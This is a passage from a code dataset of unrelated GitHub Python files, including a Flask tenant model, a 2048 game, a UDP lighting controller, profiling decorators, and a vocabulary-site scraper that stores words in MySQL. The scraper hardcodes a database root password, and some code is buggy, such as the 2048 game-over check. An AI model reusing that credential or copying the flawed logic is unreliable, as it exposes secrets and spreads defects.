MaxWaitersBoundedSemaphoreThread(MaxWaitersBoundedSemaphore):\n def __init__(self, value=1, max_waiters=1):\n MaxWaitersBoundedSemaphore.__init__(\n self, BoundedSemaphore, value, max_waiters)\ndef create_semaphore(max_size, max_waiters):\n if max_size is None:\n return DummySemaphore()\n else:\n if max_waiters is None:\n return BoundedSemaphore(max_size)\n else:\n return MaxWaitersBoundedSemaphoreThread(max_size, max_waiters)\n","repo_name":"Mockingbird01001/NLG-code-generator-LSTM","sub_path":"work/data/data_model/batch_3/1098.py.transformed.py.transformed.py","file_name":"1098.py.transformed.py.transformed.py","file_ext":"py","file_size_in_byte":3056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18539017806","text":"from utils.db_utilities import db\r\nfrom flask_login import current_user\r\nfrom utils import prj_constants\r\nimport datetime\r\n\r\nclass Tenant(db.Model):\r\n\r\n __tablename__ = 'tenant'\r\n\r\n id = db.Column(db.Integer, primary_key=True)\r\n unique_name = db.Column(db.String(100))\r\n unit = db.Column(db.String(50))\r\n site_id = db.Column(db.Integer, db.ForeignKey('site.id'))\r\n site = db.relationship('Site', foreign_keys=[site_id])\r\n status = db.Column(db.String(50))\r\n \r\n created_by = db.Column(db.Integer, db.ForeignKey('user.id'))\r\n #creator = db.relationship('User', foreign_keys=[created_by])\r\n created_on = db.Column(db.String(100))\r\n updated_by = db.Column(db.Integer, db.ForeignKey('user.id'))\r\n #updater = db.relationship('User', foreign_keys=[updated_by])\r\n updated_on = db.Column(db.String(100))\r\n\r\n def __init__(self, id, unique_name, unit, site_id):\r\n self.id = id\r\n self.unique_name = unique_name\r\n self.unit = unit\r\n self.site_id = site_id\r\n self.status = prj_constants.TENANT_STATUS_ACTIVE\r\n self.created_by = current_user.id\r\n self.updated_by = current_user.id\r\n self.created_on = datetime.datetime.now().isoformat()\r\n self.updated_on = datetime.datetime.now().isoformat()\r\n \r\n def serialize(self):\r\n return {\r\n 'id': self.id,\r\n 'unique_name': self.unique_name,\r\n 'unit': self.unit,\r\n 'site': self.site.serialize() if self.site else {},\r\n 'site_id': self.site_id,\r\n 'site_name': self.site.name if self.site else None,\r\n 'status': self.status\r\n #'created_by': self.creator.serialize() if self.creator else {},\r\n #'created_on': self.created_on,\r\n #'updated_by': self.updater.serialize() if self.updater else {},\r\n #'updated_on': self.updated_on\r\n }\r\n","repo_name":"EmmaGuo1122/MRP","sub_path":"model/tenant.py","file_name":"tenant.py","file_ext":"py","file_size_in_byte":1902,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31903327764","text":"from . import Channel, Controller\nimport socket\nimport struct\n\nclass ColorKineticsChannel(Channel):\n def __init__(self, controller, dmx_channel, value=0):\n name = '%s:%d' % (controller.get_name(), dmx_channel)\n super(ColorKineticsChannel, self).__init__(name, controller, value)\n\nclass ColorKinetics(Controller):\n def __init__(self, name, host, port=6038):\n super(ColorKinetics, self).__init__(name)\n self.host = host\n self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n self.sock.connect((host, port))\n\n self.channels = [ColorKineticsChannel(self, i) for i in range(512)]\n\n def sync(self):\n header = struct.pack(\">IHHIBBHIB\",\n 0x0401dc4a, 0x0100, 0x0101, 0x00000000, 0x00, 0x00,\n 0x0000, 0xffffffff, 0x00)\n channels = [channel.get() for channel in self.channels]\n body = struct.pack(\"512B\", *channels)\n self.sock.send(header + body)\n","repo_name":"reillyeon/webpixels","sub_path":"webpixels/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"8914402150","text":"import random\n\nclass Game:\n def __init__(self):\n self.cells = [[0 for _ in range(4)] for _ in range(4)]\n self.score = 0\n self.min = 0\n self.max = 4\n self.game_over = False\n self.available_cells = (self.max - self.min) ** 2\n\n def availableCells(self):\n return self.available_cells\n\n def copy(self):\n g = Game()\n g.cells = [row[:] for row in self.cells]\n g.score = self.score\n g.available_cells = self.available_cells\n return g\n\n def equal(self, other):\n return self.cells == other.cells\n\n def newGame(self):\n # Initialise the game state\n self.addValue()\n self.addValue()\n self.available_cells = (self.max - self.min) ** 2\n\n def possibilities(self, n):\n # samples = min(4,self.available_cells)\n # for _ in range(samples):\n # empty_tile = False\n \n # while not empty_tile:\n # x = random.randint(0,3)\n # y = random.randint(0,3)\n # if self.cells[y][x] == 0:\n # self.cells[y][x] = n\n # self.available_cells -= 1\n # yield self\n # self.available_cells += 1\n # self.cells[y][x] = 0\n\n # empty_tile = True\n\n\n for y in range(self.min, self.max):\n for x in range(self.min, self.max):\n if self.cells[y][x] == 0:\n self.cells[y][x] = n\n self.available_cells -= 1\n yield self\n self.available_cells += 1\n self.cells[y][x] = 0\n\n def possibleMoves(self):\n return filter(lambda x: not x[0].equal(self),\n [(self.copy().shiftLeft(), 'left'), (self.copy().shiftRight(), 'right'),\n (self.copy().shiftDown(), 'down'), (self.copy().shiftUp(), 'up')])\n\n\n @staticmethod\n def tighten(row):\n new_row = [i for i in row if i != 0]\n new_row += [0 for i in range(len(row) - len(new_row))]\n return new_row\n\n def merge(self, row):\n pair = False\n new_row = []\n for i in range(len(row)):\n if pair:\n new_row.append(2 * row[i])\n self.score += 2 * row[i]\n pair = False\n else:\n try:\n if row[i] == row[i+1]:\n pair = True\n self.available_cells += 1\n new_row.append(0)\n else:\n new_row.append(row[i])\n except IndexError:\n new_row.append(row[i])\n return new_row\n\n def move_left(self, row):\n return self.tighten(self.merge(self.tighten(row)))\n\n @staticmethod\n def reflect_vertical(cells):\n return [row[::-1] for row in cells]\n\n @staticmethod\n def transpose(cells):\n return [list(row) for row in zip(*cells)]\n\n def shiftLeft(self):\n self.cells = [self.move_left(row) for row in self.cells]\n return self\n\n def shiftRight(self):\n self.cells = self.reflect_vertical(self.cells)\n self.shiftLeft()\n self.cells = self.reflect_vertical(self.cells)\n return self\n\n def shiftUp(self):\n self.cells = self.transpose(self.cells)\n self.shiftLeft()\n self.cells = self.transpose(self.cells)\n return self\n\n def shiftDown(self):\n self.cells = self.transpose(self.cells)\n self.shiftRight()\n self.cells = self.transpose(self.cells)\n return self\n\n def addValue(self):\n x = random.randint(self.min, self.max - 1)\n y = random.randint(self.min, self.max - 1)\n self.available_cells -= 1\n\n while self.cells[y][x] != 0:\n x = random.randint(self.min, self.max - 1)\n y = random.randint(self.min, self.max - 1)\n\n if random.random() > 0.9:\n self.cells[y][x] = 4\n else:\n self.cells[y][x] = 2\n\n def serialize(self):\n return {'squares': self.cells, 'score': self.score, 'game_over': self.game_over}\n\n def noMerges(self):\n for y in range(4):\n for x in range(4):\n if x < 3 and g.cells[y][x] == g.cells[y][x+1]:\n return False\n if x > 0 and g.cells[y][x] == g.cells[y][x-1]:\n return False\n if y < 3 and g.cells[y][x] == g.cells[y+1][x]:\n return False\n if y > 0 and g.cells[y][x] == g.cells[y-1][x]:\n return False\n return True\n\n def checkGameOver(self):\n return self.availableCells == 0 and self.noMerges()\n\nif __name__ == '__main__':\n g = Game()\n g.cells = [[0, 0, 8, 0],\n [2, 2, 0, 4],\n [0, 0, 8, 0],\n [4, 2, 2, 4]]\n g.shiftDown()\n\n print(g.score)\n print(g.cells)\n","repo_name":"Minstrels/HackCambridge4D","sub_path":"backend/src/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":4980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37945011187","text":"#!python3\n\nimport sys\nimport re\n\ncontent = sys.stdin.readlines()\n\ntotal = 0\nyeses = None\nfor line in content:\n if line == \"\\n\":\n print(yeses)\n total += len(yeses)\n yeses = None\n else:\n if yeses == None:\n yeses = set(line.strip())\n else:\n yeses = yeses.intersection(line.strip())\n\ntotal += len(yeses)\nprint(total)\n","repo_name":"abersnaze/advent","sub_path":"2020/day6/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43040506207","text":"import sys\nsys.setrecursionlimit(10**9)\n\n\nmod = 10**9+7\n\ndef main():\n n = int(input())\n char_list = list(input().split())\n nei_of = [[] for _ in range(n)]\n for _ in range(n-1):\n a, b = map(int, input().split())\n a -= 1\n b -= 1\n nei_of[a].append(b)\n nei_of[b].append(a)\n\n # 木DP\n DPA = [1]*n # head nodeを含む木がaだけを含むときの、分割方法\n DPB = [1]*n # head nodeを含む木がbだけを含むときの、分割方法\n DPAB = [1]*n # head nodeを含む木がab両方含むときの\n color = ['w']*n\n\n def dfs(pre):\n if char_list[pre] == 'a':\n dpa = 1\n dpb = 0\n else:\n dpa = 0\n dpb = 1\n dpall = 1\n for cur in nei_of[pre]:\n if color[cur] != 'w':\n continue\n color[cur] = 'g'\n dfs(cur)\n # これより子ノードはすべて探索済み\n # a->aのみは切ってはいけない:DPA追加\n # a->bのみは切ってもダメ切らなくてもだめ\n # a->a, b両方は切らないとだめ:DPAB追加\n if char_list[pre] == 'a':\n dpa *= (DPA[cur]+DPAB[cur])\n dpa %= mod\n else:\n dpb *= (DPB[cur]+DPAB[cur])\n dpb %= mod\n # a->aのみは切ってはいけないので*1\n # a->bのみは切ってはいけないので*1\n # a->a, b両方は切っても切らなくてもよいので*2\n dpall *= (DPA[cur]+DPB[cur]+DPAB[cur]*2)\n dpall %= mod\n DPA[pre] = dpa\n DPB[pre] = dpb\n DPAB[pre] = (dpall-dpa-dpb) % mod\n\n color[0] = 'g'\n dfs(0)\n\n print(DPAB[0] % mod)\n\n\nmain()\n","repo_name":"batamorphism/coding","sub_path":"Python/AtCoder/old/typical90bu1029.py","file_name":"typical90bu1029.py","file_ext":"py","file_size_in_byte":1774,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"20577615475","text":"from manygui import *\nfrom manygui.Utils import log\n\napp = Application()\n\ndef report(event):\n log(\"Radio button clicked\")\n btn.on = not btn.on\n\nwin = Window(width = 160, height = 90)\napp.add(win)\nbtn = RadioButton(x = 30, y = 30, width = 100, height = 30, \n\t\t title = \"Radio Button\")\nlink(btn, Events.LeftClickEvent, report)\nwin.add(btn)\n\napp.run()\n","repo_name":"progval/Manygui","sub_path":"test/test_radiobutton.py","file_name":"test_radiobutton.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"32016697731","text":"nums = [1, 2, 3, 4, 5, 6, 7]\nk = 3\n\n# Using Reverse\n# k번 돌린 후의 결과는 뒤에서 k번째 까지를 앞으로 옮긴것과 같다.\n# 이런 관점에서 먼저 모든 요소를 reverse 시킨 후 나눈 요소를 각각 reverse 한다.\n# Original List : 1 2 3 4 5 6 7\n# After reversing all numbers : 7 6 5 4 3 2 1\n# After reversing first k numbers : 5 6 7 4 3 2 1\n# After revering last n-k numbers : 5 6 7 1 2 3 4 --> Result\n\nn = len(nums)\nk %= n\n\nnums.reverse()\n\n\n# 맞은편 인덱스끼리 서로 swap 하면서 안으로 범위를 줄여나가면 reverse!\ndef reverse(numbers, start, end):\n while start < end:\n numbers[start], numbers[end] = numbers[end], numbers[start]\n start, end = start + 1, end - 1\n\n\nreverse(nums, 0, k - 1)\nreverse(nums, k, n - 1)\n\nprint(nums)\n\n# runtime: 64ms\n# memory: 15.7MB\n# 시간 복잡도: O(n) n개의 요소가 3번 reverse 했다.\n# 공간 복잡도: O(1) 여분의 배열을 쓰지 않았다.\n","repo_name":"sojeongw/data-structures-and-algorithms","sub_path":"python/leetcode/top-interview-questions-easy/array/rotate-array_answer-2.py","file_name":"rotate-array_answer-2.py","file_ext":"py","file_size_in_byte":972,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"25286675498","text":"# -*- coding: utf-8 -*-\n\nimport re\nimport os\nimport sys\nimport time\nimport platform\nimport traceback\nimport logging\nfrom logging.handlers import RotatingFileHandler\n\n\nCOLOR_CODE = {\n \"reset\": \"\\x1b[0m\",\n \"bold\": \"\\x1b[01m\",\n \"teal\": \"\\x1b[36;06m\",\n \"turquoise\": \"\\x1b[36;01m\",\n \"fuscia\": \"\\x1b[35;01m\",\n \"purple\": \"\\x1b[35;06m\",\n \"blue\": \"\\x1b[34;01m\",\n \"darkblue\": \"\\x1b[34;06m\",\n \"green\": \"\\x1b[32;01m\",\n \"darkgreen\": \"\\x1b[32;06m\",\n \"yellow\": \"\\x1b[33;01m\",\n \"brown\": \"\\x1b[33;06m\",\n \"red\": \"\\x1b[31;01m\",\n}\n\n\nclass ProjectUtil:\n \"\"\"\n Utilities for crawlers\n \"\"\"\n data_dir = None\n log_dir = None\n logger_dict = {}\n patt_digit = re.compile(r'\\d+\\.?\\d*')\n\n def __init__(self, name):\n self.name = name\n\n @classmethod\n def get_first_digit(cls, data, default=0):\n digs = re.findall(r'\\d+\\.?\\d*', data)\n if len(digs) > 0:\n return int(digs[0])\n else:\n return default\n\n @classmethod\n def get_project_data_dir(cls):\n if cls.data_dir is None:\n try:\n # static file save dir\n temp_path = os.path.dirname(os.path.abspath(__file__))\n temp_path = os.path.dirname(temp_path)\n cls.data_dir = os.path.join(temp_path, 'data')\n if not os.path.exists(cls.data_dir):\n os.mkdir(cls.data_dir)\n except:\n tprint_error(\"Failed to init data_dir\")\n tprint_error(traceback.format_exc())\n sys.exit(1)\n return cls.data_dir\n else:\n return cls.data_dir\n\n @classmethod\n def get_project_log_dir(cls):\n if cls.log_dir is None:\n try:\n # static file save dir\n temp_path = os.path.dirname(os.path.abspath(__file__))\n temp_path = os.path.dirname(temp_path)\n cls.log_dir = os.path.join(temp_path, 'log')\n if not os.path.exists(cls.log_dir):\n os.mkdir(cls.log_dir)\n except:\n tprint_error(\"Failed to init log_dir\")\n tprint_error(traceback.format_exc())\n sys.exit(1)\n return cls.log_dir\n else:\n return cls.log_dir\n\n @classmethod\n def get_project_logger(cls, name='base'):\n logger_name = name\n logfile = '{name}.log'.format(name=name)\n if name in cls.logger_dict:\n return cls.logger_dict[name]\n else:\n try:\n log_path = os.path.join(cls.get_project_log_dir(),\n logfile)\n fh = RotatingFileHandler(log_path,\n maxBytes=100*1024*1024,\n backupCount=20)\n fh.setLevel(logging.INFO)\n formatter = logging.Formatter(\n '%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n fh.setFormatter(formatter)\n my_logger = logging.getLogger(logger_name)\n my_logger.addHandler(fh)\n my_logger.setLevel('INFO')\n # crawler_logger.info('logger init successful!')\n cls.logger_dict[name] = my_logger\n except:\n tprint_error(\"Failed to init logger\")\n tprint_error(traceback.format_exc())\n sys.exit(1)\n return my_logger\n\n\ndef check_contain_chinese(check_str):\n for ch in check_str:\n if u'\\u4e00' <= ch <= u'\\u9fff':\n return True\n return False\n\n\n# Utility to detect OS type\ndef is_windows_os():\n try:\n if platform.system() == 'Windows':\n return True\n else:\n return False\n except:\n print('[ERROR] Exception in Utils::is_windows_os()')\n return False\n\n\n# cprint utility with color support\ndef cprint(msg, newline=True, log_fd=None, color=None, flush=False):\n try:\n if (not is_windows_os()) and os.isatty(2) and color:\n sys.stdout.write(color)\n if newline:\n print(msg)\n else:\n print (msg)\n if flush or not newline:\n sys.stdout.flush()\n\n if log_fd:\n log_fd.write(msg)\n if newline:\n log_fd.write('\\n')\n log_fd.flush()\n except:\n print('[ERROR] Exception in Utils::cprint()')\n\n\n# cprint utility for error message\ndef cprint_error(msg, log_fd = None):\n try:\n cprint('[ERROR] ' + msg, True, log_fd, COLOR_CODE['red'])\n if (not is_windows_os()) and os.isatty(2):\n sys.stdout.write(COLOR_CODE['reset'])\n except:\n print('[ERROR] Exception in Utils::cprint_error()')\n\n\n# cprint utility for verbose message\ndef cprint_verbose(msg, verbose=True, log_fd=None):\n try:\n if verbose:\n cprint('[INFO] ' + msg, True, log_fd, COLOR_CODE['reset'])\n except:\n print('[ERROR] Exception in Utils::cprint_verbose()')\n\n\n# cprint utility for warning message\ndef cprint_warning(msg, log_fd = None):\n try:\n cprint('[WARNING] ' + msg, True, log_fd, COLOR_CODE['yellow'])\n if (not is_windows_os()) and os.isatty(2):\n sys.stdout.write(COLOR_CODE['reset'])\n except:\n print('[ERROR] Exception in Utils::cprint_warning()')\n\n\n# cprint utility with timestamp and color support\ndef tprint(msg, newline = True, log_fd = None, color = None, flush = False):\n try:\n msg = '[' + time.ctime() + '] ' + msg\n cprint(msg, newline, log_fd, color, flush)\n except:\n print('[ERROR] Exception in Utils::tprint()')\n\n\n# cprint utility for succ message with timestamp support\ndef tprint_succ(msg, log_fd = None):\n try:\n msg = '[' + time.ctime() + '] [SUCC] ' + msg\n cprint(msg, True, log_fd, COLOR_CODE['green'])\n if (not is_windows_os()) and os.isatty(2):\n sys.stdout.write(COLOR_CODE['reset'])\n except:\n print('[ERROR] Exception in Utils::tprint_succ()')\n\n\n# cprint utility for error message with timestamp support\ndef tprint_error(msg, log_fd = None):\n try:\n msg = '[' + time.ctime() + '] [ERROR] ' + msg\n cprint(msg, True, log_fd, COLOR_CODE['red'])\n if (not is_windows_os()) and os.isatty(2):\n sys.stdout.write(COLOR_CODE['reset'])\n except:\n print('[ERROR] Exception in Utils::tprint_error()')\n\n\n# cprint utility for verbose message and timestamp support\ndef tprint_verbose(msg, verbose=True, log_fd=None):\n try:\n if verbose:\n msg = '[' + time.ctime() + '] [INFO] ' + msg\n cprint(msg, True, log_fd, COLOR_CODE['reset'])\n except:\n print('[ERROR] Exception in Utils::tprint_verbose()')\n\n\n# cprint utility for warning message with timestamp support\ndef tprint_warning(msg, log_fd = None):\n try:\n msg = '[' + time.ctime() + '] [WARNING] ' + msg\n cprint(msg, True, log_fd, COLOR_CODE['yellow'])\n if (not is_windows_os()) and os.isatty(2):\n sys.stdout.write(COLOR_CODE['reset'])\n except:\n print('[ERROR] Exception in Utils::tprint_warning()')\n\n","repo_name":"dearpanan/tushare","sub_path":"comm/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":7259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37095625033","text":"#Filling in the Gaps\r\nimport os,re,shutil\r\nfrom pathlib import Path\r\n\r\nspam_regex = re.compile(r'(spam(\\d{3})\\.txt)')\r\nmatch = []\r\n\r\nfor file in os.listdir(Path.cwd()):\r\n spam = spam_regex.findall(str(file))\r\n if not spam:\r\n continue\r\n for spam in spam:\r\n match.append(spam)\r\n\r\nNew_Name = [match[0]]\r\nfor i in range(len(match)):\r\n try:\r\n if int(match[i+1][1]) != int(New_Name[i][1]) + 1:\r\n New_Name.append((match[i+1][0],str(int(New_Name[i][1]) + 1).zfill(3)))\r\n else:\r\n New_Name.append(match[i + 1])\r\n except IndexError:\r\n continue\r\n\r\n\r\nfor names in New_Name:\r\n rename = 'spam' + names[1] + '.txt'\r\n shutil.move(Path.cwd() / names[0],Path.cwd() / rename)\r\n\r\nprint('Done')\r\n\r\n\r\n\r\n\r\n","repo_name":"bkjboadu/automating-stuff","sub_path":"Organizing files/Filling in the Gaps.py","file_name":"Filling in the Gaps.py","file_ext":"py","file_size_in_byte":760,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33460267570","text":"\"\"\"Задание 1\"\"\"\nfrom functools import wraps\nfrom time import time, sleep\n\n\ndef average_time(num=0):\n \"\"\"Декоратор, который считает среднее время работы функции.\"\"\"\n def inner_decorator(function):\n count = {}\n name = function.__name__\n count[name] = 0\n list_answer = []\n\n @wraps(function)\n def wrapper(*args, **kwargs):\n nonlocal list_answer\n count[name] += 1\n start = time()\n result = function(*args, **kwargs)\n end = time()-start\n list_answer.append(end)\n if count[name] < num:\n answer = sum(list_answer) / count[name]\n print(f'Среднее время работы: {int(answer * 1000)} мс.')\n else:\n answer = sum(list_answer[-num:]) / num\n print(f'Среднее время работы: {int(answer * 1000)} мс.')\n return result\n\n return wrapper\n\n return inner_decorator\n\n\n@average_time(num=2)\ndef func_task(time_for_sleep):\n \"\"\"Функция для теста.\"\"\"\n sleep(time_for_sleep)\n return time_for_sleep\n\n\n@average_time(num=3)\ndef func(time_for_sleep):\n \"\"\"Функция для теста.\"\"\"\n sleep(time_for_sleep)\n return time_for_sleep\n\n\nif __name__ == '__main__':\n func_task(3)\n func_task(7)\n func_task(1)\n\n func(1)\n func(2)\n func(1)\n","repo_name":"ReDisKaRed/Hometasks_Artezio","sub_path":"Lesson_7/task_1.py","file_name":"task_1.py","file_ext":"py","file_size_in_byte":1464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42023371383","text":"import requests\nfrom bs4 import BeautifulSoup\nimport pymysql\nimport re\n \nheader = {\n 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 UBrowser/6.1.2107.204 Safari/537.36'\n}\n \ndef get_urlhtml(url):#爬取主页\n try:\n html = requests.get(url,headers = header)#使用requests库爬取\n if html.status_code == 200:#如果状态码是200,则表示爬取成功\n print(url+'解析成功')\n return html.text#返回H5代码\n else:#否则返回空\n print('解析失败')\n return None\n except:#发生异常返回空\n print('解析失败')\n return None\n \ndef get_url(html):#解析首页得到所有的网址\n word_all = []#所有classid可能取值的列表\n mess = BeautifulSoup(html,'lxml')\n word_num = mess.select('.main_l li')\n for word in word_num:\n word_all.append(word.get('class_id'))\n return word_all\n \ndef paqu_wangye(reponse,name):#爬取所有的单词、发音、翻译\n word_mause={}\n mess = BeautifulSoup(reponse,'lxml')\n word = mess.find_all('div',class_=\"word_main_list_w\")\n \n \n wordmp3= mess.find_all(class_=\"word_main_list_y\")\n for i in range(1,len(word)):\n key = word[i].span.get('title')\n \n \n mp3=wordmp3[i].a.get('id')\n #if len(f) == 0:#因为某些发音不存在,我们直接放弃,不存入\n #continue\n word_mause[key]=[mp3]\n print('创建数据成功')\n return word_mause\n \ndef cucun(word_mause):#爬取数据到数据库\n db = pymysql.connect(host='localhost', user='root', password='yzh86831051', db='resource', port=3306)#打开数据库\n print('打开数据库成功')\n cursor = db.cursor()#创建一个游标\n for key in word_mause:#word_mause是一个字典,模型:{'comment': ['[ˈkɔment]', 'n. 评论,意见;体现,写照', '四级必备词汇']}\n sql = 'UPDATE dictory_02 SET pronunciation=%s WHERE word=%s'#构造sql语句\n try:\n cursor.execute(sql, (word_mause[key][0],key))\n db.commit()#插入数据\n except:\n db.rollback()#如果发生异常,则回滚(什么事情都没有发生)\n print('数据插入成功')\n db.close()#关闭数据库,记得一定要记得关闭数据库\n print('数据库成功关闭')\n \ndef main():\n url = 'http://word.iciba.com/'\n html = get_urlhtml(url)#得到首页的H5代码\n word_all = get_url(html)#得到所有classid可能取值的列表\n print('初始化成功开始爬取')\n for num in word_all:#word_all为classid所有可能的取值\n\n if num=='123':\n url_home = 'http://word.iciba.com/?action=courses&classid=' + str(num)#利用字符串拼接起来,得到URL网址\n html = get_urlhtml(url_home)\n mess = BeautifulSoup(html, 'lxml')\n li = mess.select('ul li')#解析得到所有的课时,其中li的长度就是课时的数量\n if len(li) <= 2:\n continue\n name = mess.select('.word_h2')#得到词书名称\n name = name[0]\n r = re.compile(\".*?(.*?)\")\n name = re.findall(r,str(name))\n name = name[0]#得到词书名称\n print('开始爬取'+name)\n for j in range(1,len(li)+1):#利用课时的数量就是course的取值的特性,得到course的取值\n url = 'http://word.iciba.com/?action=words&class='+str(num)+'&course='+str(j)#得到单词所在的URL网站\n reponse = get_urlhtml(url)\n # print('开始爬取音频')\n # paqumusci(reponse)\n # print('音频文件爬取完成')\n print('开始爬取数据')\n word_mause = paqu_wangye(reponse,name)#得到数据字典\n print('开始存储数据')\n cucun(word_mause)#存储数据\n \nif __name__ == '__main__':\n main()","repo_name":"GDUTInfoSec182-WhatsWrongWithThisCode/dict-data","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3995,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"38107393213","text":"# coding=utf-8\n\nimport time\nimport yappi as profiler_yappi\nimport cProfile as cprofile_profiler\nimport memory_profiler\nfrom functools import partial\nfrom pycallgraph import PyCallGraph\nfrom pycallgraph.output import GraphvizOutput\nfrom subprocess import call, check_call\nimport six\n\n\nBLANK_LINES_COUNT = 3\nBLANK_LINES = BLANK_LINES_COUNT * '\\n'\nDELIMETER_LENGTH = 80\nDELIMETER_UNIT = '*'\nDELIMETER = DELIMETER_LENGTH * DELIMETER_UNIT\nPROF_FILENAME = 'cprofile.prof'\nCALL_TREE_IMG_FILENAME = 'calltree.png'\n\n\ndef _print_results(result_func_or_str, profiled_func, type):\n six.print_(BLANK_LINES)\n six.print_(DELIMETER)\n six.print_('{}-PROFILING of {}.{}(*args, **kwargs)'.format(\n type,\n profiled_func.__module__,\n profiled_func.__name__\n ))\n six.print_(DELIMETER)\n if callable(result_func_or_str):\n result_func_or_str()\n else:\n six.print_(result_func_or_str)\n six.print_(DELIMETER)\n six.print_(BLANK_LINES)\n\n\ndef simple_time(func):\n\n def _wrapper(*args, **kwargs):\n start = time.time()\n result = func(*args, **kwargs)\n duration = (time.time() - start) * 1000 # ms\n\n _print_results('duration: {}'.format(duration), func, 'simpletime')\n\n return result\n\n return _wrapper\n\n\ndef yappi(func):\n\n def _wrapper(*args, **kwargs):\n profiler_yappi.start()\n result = func(*args, **kwargs)\n\n _print_results(profiler_yappi.get_func_stats().print_all, func, 'yappi')\n profiler_yappi.stop()\n\n return result\n\n return _wrapper\n\n\ndef cprofile(func):\n\n def _wrapper(*args, **kwargs):\n profiler = cprofile_profiler.Profile()\n result = profiler.runcall(func, *args, **kwargs)\n\n _print_results(partial(profiler.print_stats, sort=\"time\"), func, 'cprofile')\n\n return result\n\n return _wrapper\n\n\ndef cprofile_dump(func):\n\n def _wrapper(*args, **kwargs):\n profiler = cprofile_profiler.Profile()\n result = profiler.runcall(func, *args, **kwargs)\n\n profiler.dump_stats(PROF_FILENAME)\n\n return result\n\n return _wrapper\n\n\nif six.PY2:\n import line_profiler\n\n def line(func):\n\n def _wrapper(*args, **kwargs):\n profiler = line_profiler.LineProfiler()\n result = profiler(func)(*args, **kwargs)\n\n _print_results(profiler.print_stats, func, 'line')\n\n return result\n\n return _wrapper\n\n\ndef memory(func):\n\n def _wrapper(*args, **kwargs):\n profiler = memory_profiler.LineProfiler()\n result = profiler(func)(*args, **kwargs)\n\n memory_profiler.show_results(profiler)\n\n return result\n\n return _wrapper\n\n\ndef timeit(func):\n n = 1000\n\n def _wrapper(*args, **kwargs):\n start = time.time()\n for i in range(0, n):\n result = func(*args, **kwargs)\n\n duration = (time.time() - start) * 1000 # ms\n\n _print_results('n: {}, all: {}ms, avg: {}ms'.format(\n n,\n duration,\n duration / n\n ), func, 'timeit')\n\n return result\n\n return _wrapper\n\n\ndef calltree(func):\n\n def _wrapper(*args, **kwargs):\n with PyCallGraph(output=GraphvizOutput()):\n result = func(*args, **kwargs)\n call(['open', CALL_TREE_IMG_FILENAME])\n return result\n\n return _wrapper\n\n\ndef gprof2dot(func):\n\n def _wrapper(*args, **kwargs):\n profiler = cprofile_profiler.Profile()\n result = profiler.runcall(func, *args, **kwargs)\n profiler.dump_stats(PROF_FILENAME)\n stri = 'python{} -m gprof2dot -f pstats {} | dot -Tpng -o {}'.format(\n '' if six.PY2 else '3',\n PROF_FILENAME,\n CALL_TREE_IMG_FILENAME\n )\n print(stri)\n check_call(stri, shell=True)\n call(['open', CALL_TREE_IMG_FILENAME])\n\n return result\n\n return _wrapper\n\n\ndef grind(func):\n\n def _wrapper(*args, **kwargs):\n profiler = cprofile_profiler.Profile()\n result = profiler.runcall(func, *args, **kwargs)\n profiler.dump_stats(PROF_FILENAME)\n call(['pyprof2calltree', '-i', PROF_FILENAME, '-k'])\n\n return result\n\n return _wrapper\n","repo_name":"vera-l/python-profilers","sub_path":"profilers/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4180,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"40336851674","text":"from threading import Thread\nfrom time import sleep\nfrom Queue import Queue\nimport sys\nimport os\n\nclass TaskManager(Thread):\n \n def __init__(self, data_adapter, max_tasks=10, scan_interval=5):\n Thread.__init__(self)\n self.tasks = []\n self.queue = Queue()\n self.last_error = None\n self.running_tasks = 0\n self.config = {'max_tasks':max_tasks,\n 'scan_interval':scan_interval}\n self.data_adapter = data_adapter\n \n \n def exists_task(self, taskname):\n while True:\n try:\n return taskname in map(lambda x: x.config['name'], self.tasks + [item for item in self.queue.queue])\n except:\n pass\n return None\n \n \n def queue_task(self, module, taskname, config, force=False):\n sys.path.append(os.path.abspath(os.curdir) + '/module')\n m = __import__(module)\n \n if self.exists_task(taskname):\n if not force:\n self.last_error = 'Target task exists.'\n return False\n else:\n self.delete_task(taskname)\n \n task = m.create_task(taskname)\n task.push_config(config)\n self.queue.put(task)\n \n return True\n \n \n def delete_task(self, taskname):\n if taskname in map(lambda x: x.config['name'], self.tasks):\n task = filter(lambda x: x.config['name'] == taskname, self.tasks)[0]\n task.stop()\n self.tasks.remove(task)\n elif taskname in map(lambda x: x.config['name'], self.tasks):\n self.queue.queue.remove(filter(lambda x: x.config['name'] == taskname, self.queue.queue)[0])\n \n return None\n \n \n def push_config(self, dicts):\n \"\"\"\"\"\"\n self.config.update(dicts)\n \n \n def run(self):\n while True:\n sleep(self.config['scan_interval'])\n try:\n for t in 